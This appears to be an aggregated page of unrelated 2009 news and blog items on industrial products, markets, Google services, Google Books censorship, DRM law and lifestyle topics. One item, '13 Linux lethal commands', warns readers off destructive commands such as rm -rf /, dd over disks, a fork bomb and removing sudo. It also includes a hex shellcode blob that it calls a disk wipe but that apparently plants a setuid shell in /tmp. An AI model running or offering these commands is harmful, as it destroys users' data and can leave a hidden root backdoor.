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  • New compact absolute hollow shaft encoder…

    … with modular fieldbus interface:

    A newcomer in the broad modular encoder program by Baumer IVO: An especially compact absolute hollow shaft encoder that as basic device can be “topped” with several modular bus covers. This results in simplified wiring work, improved flexibility and reduced stocks since the modular bus cover is simply docked to the basic encoder. It is a considerable benefit also regarding cost-effective maintenance because encoder and bus electronics can be exchanged independently from each other. Encoder and bus cover provide several diagnostic functions for preventive maintenance actions resulting in increased machine performance. The user can choose between bus covers with CANopen, DeviceNet, EtherCat and Profibus interface as well as between several mounting options. The new multivo encoders are available with maximum 14 mm hollow shaft and also in stainless steel designs. Singleturn resolution is 13 bit, for multiturn operation 16 bit.

  • The Nikkei Explodes 3.8% Higher

    mount-fuji-japan.jpg

    Forget that the Yen is sitting at a 14-year high, or that the country remains a gigantic mess. Buyers went nuts in Japan last night.

    WSJ: Japan’s Nikkei 225 closed up 3.8%, Australia’s S&P/ASX 200 added 0.3%, South Korea’s Kospi Composite gained 1.5% and New Zealand’s NZX-50 finished 0.1% higher. Hong Kong’s Hang Seng ended up 1.2%, while China’s Shanghai Composite fell 0.2% and Taiwan’s main index edged up 0.1%.

    In foreign exchange markets, the U.S. dollar remained supported against the yen on speculation Japanese authorities may step in to curb the yen’s recent surge to 14-year highs. Japanese Prime Minister Yukio Hatoyama was quoted by the Nikkei Wednesday as saying the yen’s sharp rise against other major currencies “cannot be left as is.”

    Read the whole thing >

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  • Roundtable on The Elimination of Child Labour: Creating Child Labour Free Sectors

    The roundtable is being organised by the Stop Child Labour Campaign, in collaboration with ITUC on the 3rd of December in the European Parliament.

    It addresses the role industry and trade unions can play focussing on some of the agricultural sectors such as cocoa. Representatives from the EU and ILO/IPEC have also been invited to contribute to the discussions together with all the participants.

    For further information please find the programme below and/or contact
    Joyce Haarbrink jhaarbrink eepa.be

  • Oldies friendlier than youngers?

    New research released today reveals that older people outshine younger generations when it comes to keeping in touch with neighbours. It’s the over-65s who are more likely to chat in person to someone on their street (82 per cent). In contrast, amongst people aged 18-24s just 44 per cent speak to their neighbours on a regular basis, indicating that perhaps online social networks are taking over.

    These are the findings of new research published today by Circle Anglia – one of the UK’s leading providers of affordable housing – as part of their 2009 survey of ‘Neighbourly Habits.’

    Not only do the majority of the over-65s say they know the name of their neighbours (92 percent), they also actually enjoy spending time with them (56 per cent). This compared to only 66 per cent of the 18-24s who know the names of their immediate neighbours and the 26 percent who said they enjoy time spent with neighbours.

    The poll of 2,000 people found that overwhelmingly older people are more trusting of the people who live on their street. While they are out of the house, 91 per cent of senior citizens said they trust their neighbours enough to look after deliveries, compared to just 62 percent of the 18-24s. Regionally, nine out of 10 residents (87 per cent) in the North West are happy to trust their neighbour with deliveries compared to only 77 per cent of Londoners.

    Andy Doylend, Executive Director of Operations, Circle Anglia said, “Older people are far more likely to suffer from social isolation. This research not only demonstrates the value people over 65 place on talking to neighbours – but also the benefits of this such as an increased trust in the community which can make a real difference to people’s quality of life.

    “That’s why we’re calling on people throughout the UK to bridge the age gap this festive season and take time to say hello to their neighbours. With the rise of social networking and online communications tools, it’s essential that neighbours lend a hand during this festive time to show that they value real relationships just as much as their online ones.”

    Circle Anglia

  • Have Some Ostriches Become Extinct?

    Yes, there have and only recently. There are now four sub-species of ostrich; the fifth, which inhabited Syria and Arabia has now become extinct because of uncontrolled hunting. It was last seen in 1941 but there was an unconfirmed sighting in 1966.

    The North African ostrich is still in existence but its spread has been much reduced by hunting. It is still found to the south of the Atlas mountains in an area of desert that stretches from Senegal and Nigeria through to Sudan and central Ethiopia.

    The Masai ostrich still lives in the African national parks in Kenya and Tanzania and the Somali ostrich lives north of the River Tana in Kenya, in Somalia and southern Ethiopia. The South African ostrich is found along the border between Namibia and Angola.

    Ostriches eat a wide range of foods and walk for miles following herds of grazing animals. More ostriches are likely to disappear as the savannah habitats are further encroached by human activity.

  • Mentionmap: Visualizing People and Conversations on Twitter

    mentionmap.jpg
    Mentionmap [asterisq.com] is an inspiring network visualization that allows for the exploration of one’s Twitter network. Users can discover which people interact the most, what they are actually talking about, and what people are relevant to follow on Twitter.

    Mentionmap loads each user’s Twitter collection of recent status updates (or tweets) and parses the names of people and hashtags they talked about the most. Mentions are represented as linear connections, and discussions between multiple users emerge as clusters. Selecting a user will display their network of mentions as well as further details gathered from their profile. The lines between nodes can be hovered for details, and are drawn thicker if the users talked about each other more often. The keywords in the blue bar on the top of the page allows for the retracing of user interactions.


  • Cooking in the Cold

    2009_12_3-winter-cooking.jpgI write this with an icy sunrise view of Lake Michigan. Maxwell and I are in Chicago for some meetings, staying with some good friends who live in a wonderful, warm apartment with a big kitchen. But let’s not mince words: it’s freezing here.

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  • Our Get-Cooking Gift Guide

    2009_12_17-get-cooking-gifts.jpgStop panicking. It’s only a holiday and it comes every year. Seriously. Put down the credit card, and don’t worry about elbowing your way through a pile of sale sweaters. If there’s one thing you know people like, it’s food. So why not stay at home and make some edible gifts in your socks? Put on a winter-y mix of music and just cook your gifts.

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  • Google Site Performance Is Designed to Speed Up Your Site

    Google’s obsession with speed is notorious and it’s evident in all of its products from the homepage to Chrome. And it’s not satisfied with making its own sites faster, it wants all the web to be faster. Google already has several projects focusing on this as well and is now launching a new tool for webmasters to provide them with rather detailed stats on the performance of their own sites.

    “We’ve just launched Site Performance, an experimental feature in Webmaster Tools that shows you information about the speed of your site and suggestions for making it faster,” Sreeram Ramachandran, software engineer, and Arvind Jain, director, Faster Web program wrote. “This is a small step in our larger effort to make the web faster. Studies have repeatedly shown that speeding up your site leads to increased user retention and activity, higher revenue and lower costs.”

    Google Site Performance is available in the Labs section of the tools. It shows webmasters the load speed of their sites and how it changed over time, but also how they compare to other sites, as well as examples of other pages and their load times. The point is to give website owners an accurate image of how their site performs and how it stacks up to other similar sites in order to help them improve it.

    … (read more)

  • Updated Collaboration and Community software evaluation research

    This week we updated our collaboration and social computing vendor evaluations. Specifically, we updated the following reviews:

    As always, our subscribers and recent customers will receive their updates automatically. You can also download a free sample of any of our evaluations.

  • 13 Linux lethal commands

    dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

    NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

    Even if somebody advises you in forum/im to do it.

    1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

    • sudo rm -rf /
    • rm -rf .*
    • dd if=/dev/zero of=/dev/sda
    • mkfs.ext3 /dev/hda
    • whatever > /dev/hda
    • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
    • find -type f -mtime +30 -exec mv {} /dev/null \;
    • mv ~ /dev/null
    • mv / /dev/null

    2. Causes kernel panic or freezes Linux box:

    • dd if=/dev/random of=/dev/port
    • :( ){:|:&};: #also known as fork bomb

    3. This one does the same as “rm -rf /”:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    4. This one will prevent you from executing commands with root rights:

    rm -f /usr/bin/sudo;rm -f /bin/su

    If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

    Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

  • Danish Man Tests the Limits of Copyright Laws

    In Denmark, it is completely legal to make copies of commercial videos for personal backup or other private purposes. However, it is illegal to break the DRM on any dvd, which completely prevent the copying of any DVD.  They promised him a response, then didn’t respond. So now he’s reporting himself to the police. He wants a trial, so that the legality of the DRM-breaking law can be tested in court.

    Last month, Henrik Anderson informed the Danish anti-piracy outfit Antipiratgruppen that he had broken the DRM on more than one hundred legally-purchased DVD movies and TV shows in the process of ripping his collection to his computer. This act is forbidden, but seemingly also allowed under Danish law, because the anti-piracy group never even responded to Anderson’s report.

    Torn between the lawmakers in his country and the lawyers who represent the DVD companies, Anderson has decided that reporting himself directly to the police is the only way he’ll finally see what this law truly amounts to. Henrik feels that the circumstances he is trying to draw attention to can only be solved by him going to trial. Hopefully then, the Minister for Culture and the Danish parliament will see that the law has to be changed. Courtesy of torrentfreak.com

  • Google Friend Connect Adds Twitter Integration

    Yahoo just announced that it’s getting a lot more friendly with Facebook with a new level of integration across both sites. So, what better time for Google to announce an integration deal with Twitter than now? Google Friend Connect has a new login option now featured front and center in the sign in dialog, you guessed it, Twitter. Now Twitter users can log into any of the nine million sites using Friend Connect with their credentials from the microblogging site.

    “Today, we’re bringing Twitter and Friend Connect even closer together. Now you can join one of over nine million Google Friend Connect sites using your Twitter login. Once signed in, your Twitter profile will be automatically linked and you can tweet your new site membership, share discussions from the comments gadget, and invite your friends via Twitter,” James Reilly from the Google Friend Connect team announced.

    Don’t let the length of the announcement fool you, this is a big deal. Google may not be emphasizing the move too much, but this is a big victory for the microblogging platform and for social networking in general. You could argue that this is just another login option, among the many already available, but what it means is that Google is recognizing the power of one of the two rising stars in social media at the mome… (read more)

  • Google Books Settlement 2.0: Evaluating Censorship

    This is the fifth in a series of posts about the proposed Google Book Search settlement.

    As we’ve explained in earlier posts, when it comes to evaluating the proposed Google Books settlement, the principal potential benefit to the public (increased access to books online) must be weighed against the potential drawbacks (impediments to competition, inadequate protection for privacy). Another potential downside for the public in the proposed settlement is the risk of censorship.

    To understand the importance of this risk, keep two things in mind. First, while bookstores are entitled to pick and choose their inventory, Google Books hopes to be much more than a simple bookstore. In the words of Google’s CEO Eric Schmidt: “Imagine one giant electronic card catalog that makes all the world’s books discoverable with just a few keystrokes by anyone, anywhere, anytime.” In other words, Google Books will have many characteristics that we associate more with the research libraries from which its books are drawn than with traditional bookstores. Second, as Prof. Geoffrey Nunberg reminds us: “This is almost certainly the Last Library, after all. There’s no Moore’s Law for capture, and nobody is ever going to scan most of these books again.”

    If Google’s scans under the proposed settlement are likely to be the only chance millions of books will have for a digital life, then the potential for censorship is something to be taken very seriously indeed. If the books can’t be found by researchers, it will be as though they were cast down the Memory Hole.

    Censorship by Rightsholders

    The biggest censorship risk created by the proposed settlement is from copyright owners. The proposed settlement gives rightsholders (until April 2011) the power to “Remove” their books from the Google Books corpus altogether. Once a book is removed, not only won’t you be able to read it online, you won’t even be able to find it using full-text search. In short, these books would simply cease to exist as far as users of Google Books are concerned, despite the fact that courts have ruled that indexing copyrighted works is a perfectly legal fair use. Moreover, even the libraries who contributed the book for scanning wouldn’t have a digital “backup” in their collections, as these removed books would also vanish from the digital copies that Google gives back to the research libraries (the “Library Digital Copies” and the “Research Corpus,” in the lingo of the settlement agreement).

    Why would a rightsholder want to self-censor? First, remember that the author of a book is often not the rightsholder. As a result, the copyright in a book can be purchased and then used to suppress further publication (a trick Howard Hughes tried). Moreover, sometimes the author or author’s heir (or corporate successor) wants to suppress a work (Prof. R. Anthony Reese describes a number of historical examples of post-publication suppression efforts by authors and rightsholders in this article).

    In the world of research libraries, of course, this kind of censorship is impossible—no research library would pull cards from the catalog and destroy copies of published works at the behest of those who own the copyright in those books. Yet this is exactly what the proposed settlement would permit for the “Last Library.” And most galling is that the settlement does not even require that a complete list of these “Removed” books ever be made publicly available (in Google’s web search, in contrast, Google includes entries for results that would have appeared, but for DMCA takedown demands, and makes those demands publicly available through Chilling Effects).

    At a minimum, books that are “removed” should remain in the database for full-text search, and Google should remain able to offer a “Library Link” (i.e., a link that directs a researcher to a library where the book can be found).

    Even more troubling is the possibility of selective alterations of the texts of the books themselves. In Section 3.10(c)(i), the settlement forbids Google “except as expressly authorized by the Registered Rightsholder” from altering the text of scanned books when displayed to users. That’s certainly a good thing, as far as it goes—we shouldn’t want Google to be able to go in and selectively edit books. But Google is allowed to selectively edit if “authorized” by the copyright owner. Why is this permitted? And if the rightsholder “authorizes” Google to make changes, can Google refuse to do so? Will the fact of alteration be publicly visible to the reader? The answer is not clear. But clearly the better rule is a prohibition on anyone making editorial alterations in the text of scanned books (again, no library would allow a copyright owner to selectively blackline books in the stacks). Any other option creates the chilling prospect of “revising history” as imagined in Orwell’s 1984.

    Censorship by Google

    The proposed settlement also gives Google a troubling degree of discretion when it comes to choosing which books will be publicly accessible. For example, Section 3.7(e) makes it clear that Google can exclude any scanned book it likes from public access “for editorial or non-editorial reasons.” If it excludes a book for “editorial reasons,” it must notify the Registry (but not the public), and the Registry may look for an alternative partner (“Third-Party Required Library Service Provider”) to host the book. There is nothing that requires the Registry to do so, nor any guarantee that such a partner will step forward.

    In addition, in order to meet its obligations under Section 7.2(e) of the proposed settlement, Google need only make 85% of the books it scans from its library partners publicly accessible through full-text search, consumer purchase, or the institutional subscription database. Assuming that Google has already scanned approximately 8 million books that are in-copyright, that means Google can make more than 1.2 million of these books disappear from its publicly accessible services for any reason and still meet its obligations under the settlement. And, again, nothing in the settlement requires Google to make the list of omitted books available to the public.

    Censorship by Government

    Finally, it’s worth noting that governments will doubtless exploit the leeway that the settlement gives to both rightsholders and Google to pull books off the digital shelves of Google Books. It’s all too easy to imagine foreign governments pressuring their citizens to “remove” books from public access on Google. It’s also likely that foreign governments will pressure Google to omit books from Google Books. If that comes to pass, neither Google nor the rightsholders will be able to say that they are legally constrained by the settlement from complying short of legal process. Had the settlement agreement been written to forbid this kind of censorship, both rightsholders and Google could have responded to censorship demands by saying “come back with a court order.”

    And, finally, remember that Google may, under the settlement, sell off the entire Google Books project. So even if you believe that Google would never cave to foreign governments or engage in selective censorship, keep in mind that 10 years from now, Google Books might be owned by an entirely different corporate master.

  • SmartRssTouch, Google Reader Edition

    beetstreamsmartrss

    BeetzStream_RSS_reader_20091238257 BeetzStream has released an update to their extremely finger-friendly RSS reader.

    The app, which suppports Google Reader on Windows Mobile devices, claims to have iPhone Style and has the following features.

    • Touch style UI.
    • Sync’s with Google Reader account in real time.
    • Can view articles within a channel or within a Tag.
    • Can be toggled to show “new articles only” or “all articles”.
    • Supports “star”, “share”, “kept-unread”, “mark all as read” actions.
    • Downloads podcasts for offline listening/viewing.

    Read more at BeetzStream here and download the demo cab here or using the Microsoft Tag.

    This post was submitted by beetzstream.

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  • Add HTML Signatures to Gmail, Google Apps, Yahoo, Hotmail or AOL

    I love Google apps! I have blogged about it in the past, and personally use it for my Bauer-Power emails. The only problem with it is that Google only has options for plain text email signatures. Some of you might be cool with that, but I’m not. I like to add a little color with my signatures.

    If you use Firefox, then you are in luck! There is a Firefox add-on that will let you create a custom HTML signature for Gmail, Google Apps, Yahoo mail, Hotmail and AOL. It is called WiseStamp.

    Here is a video I grabbed from their site:

    Here is a screen shot of from my editor:

    WiseStamp

    After you make your customizations, WiseStamp automatically inserts you signature into new emails. Don’t forget to turn off your signature options within Gmail of Google Apps though, or you will get double signatures. Here is a screenshot of mine:

    HTML Signature Gmail

    Know of any other ways to get HTML in Gmail or Google Apps? Perhaps a better Firefox extension? What about IE? Hit me up in the comments!

  • The CP240 is the new control out of the KeControl C2 generation…

    …which stands out due to its big performance and small footprint. It is perfectly compatible to the existing embedded controls from KEBA. The CP240 is based on the efficiency-optimized Intel Atom processors and thus offers high performance as well as low power consumption. It features an on-board graphics adapter with a DVI interface which helps save system costs. By supporting standard Ethernet as well as the real-time Ethernet protocols EtherCAT and SERCOS III and the CAN field bus, the CP240 represents an exceptionally versatile automation solution.

  • Protective measures against electric shock in electric vehicles

    Threatening electric shock hazards imposed by electric and hybrid vehicles can be minimised through new product development for Formula 1 Bender develops unique measurement methods

    Protective measures against electric shock in electric vehicles have not received appropriate attention so far.

    The Formula 1 accident at BMW showed the life threatening danger imposed by high battery voltages in electric and hybrid vehicles. The generally accepted and widely used measurement methods for insulation monitoring could not ensure adequate protection against electric shock and danger of fire when tested under varying hazardous conditions.

    Bender has successfully developed a technically superior solution for insulation monitoring of the complete electrical drive system of electric vehicles: the new insulation monitoring device
    A-ISOMETER® iso-F1.It only weighs 50 g and is already used in Formula 1 racing cars of the 2009 series.

    It has shown an excellent performance and has successfully passed every test situation. Homologation was granted by FIA (International Automobile Federation).

    The unique insulation monitor protects the driver, the mechanics and all other people involved against the hazards of electric shocks in any situation of the race and under all weather conditions. Furthermore, the risk of fire by sparks is significantly reduced.

    Bender with its headquarters in Grünberg, Hesse; and representatives in more than 60 countries, is market leader for monitoring systems promoting electrical safety. For more than six decades Bender produces first-class products that enjoy an excellent reputation in almost all industries.

    Besides a wide product range Bender also offers branch-specific solutions, such as for hospitals, mining, automation, chemical industry, engineering, ships, submarine, railway technology, as well as for wind and solar energy. With the A-ISOMETER® iso-F1 the company was able to develop a further special application for the growing market of electric and hybrid vehicles.

  • Instron’s New Online Products Section

    Instron, a leading provider of testing equipment solutions designed to evaluate mechanical properties of materials and components, is pleased to announce its new Products Section on www.instron.com.

    The site now incorporates a Product Showcase where customers can view Instron’s latest products and most popular testing systems; an easy-to-use product selection interface where customers can browse by Product Type, Test Type, or Capacity; and product quick views and thumbnails for user-friendly searching.

    Additionally, pages are enhanced with large images, videos, and animations of our testing systems in action; and easy-to-access tabs for product software, literature, and accessories that link directly to our online accessories catalog.

  • New Wilson® Instruments Website

    Wilson Instruments, an Instron® company and the originator of the Rockwell® Hardness Tester, is pleased to announce its new website – www.wilsoninstruments.com.

    Showcasing Wilson’s brand new design and logo, the Wilson Instruments site offers many features to enhance the user experience. The site now highlights a featured product section on the home page that links to product specific pages. Designed to emphasize the machine’s features and accessories, the site incorporates full system and application-specific photos, equipment specifications, and targeted accessories. The user can easily view comparisons between similar models to find the right one for their application needs.

    Additionally, the new Wilson Instruments site features thumbnails for easy navigation; downloadable PDFs for more information; a literature library for the most up-to-date Wilson Instruments brochures, manuals, and newsletters; a resource section to answer all your hardness testing equipment and application questions; and a news site to keep you up to date with Wilson Instruments.